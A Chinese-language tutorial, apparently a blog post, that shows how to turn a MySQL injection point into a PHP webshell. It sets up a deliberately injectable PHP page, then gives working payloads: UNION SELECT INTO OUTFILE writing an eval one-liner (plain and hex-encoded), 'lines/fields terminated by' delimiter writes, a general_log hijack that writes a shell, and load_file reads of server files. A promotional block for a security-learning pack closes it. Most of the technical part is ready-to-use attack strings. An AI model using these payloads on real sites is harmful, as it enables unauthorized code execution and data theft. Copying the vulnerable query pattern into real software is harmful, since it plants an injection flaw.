在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。
比如:当面对一个MySQL注入点,通过使用SQLmap的--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。
接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。
0x01 构造一个注入点
1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。
grant file on *.* to 'test'@'localhost';但即使有了file权限,输出目录路径应该secure_file_priv一致,否侧文件操作不成功
mysql> show variables like '%sec%' -> ; +--------------------------+----------+ | Variable_name | Value | +--------------------------+----------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | | +--------------------------+----------+1.MYSQL新特性限制文件写入及替代方法
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv
1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制
--secure_file_priv=
linux
cat /etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
2、使用test用户连接数据库。
<?php $con=mysql_connect("localhost","test","123456"); mysql_select_db("test", $con); $id = $_REQUEST[ 'id' ]; $query = "SELECT * FROM test.admin WHERE id = $id "; $result = mysql_query($query); ......0x02 写入WebShell的几种方式
1、利用Union select 写入
这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户有File权限、获取物理路径。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"2、利用分隔符写入
当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+ 此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;同样的技巧,一共有四种形式:
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)# ?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)# ?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)# ?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#3、利用log写入
新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
show variables like '%general%'; # 查看配置 set global general_log = on; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。 set global general_log_file = 'E:/study/WWW/evil.php'; # 设置日志目录为shell地址 select '<?php eval($_GET[g]);?>' # 写入shell set global general_log=off; # 关闭general log模式附录:高权限文件读取
load_file()读文件——select load_file(‘目录’)。路径使用\\,否则会被当作转义符号。
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】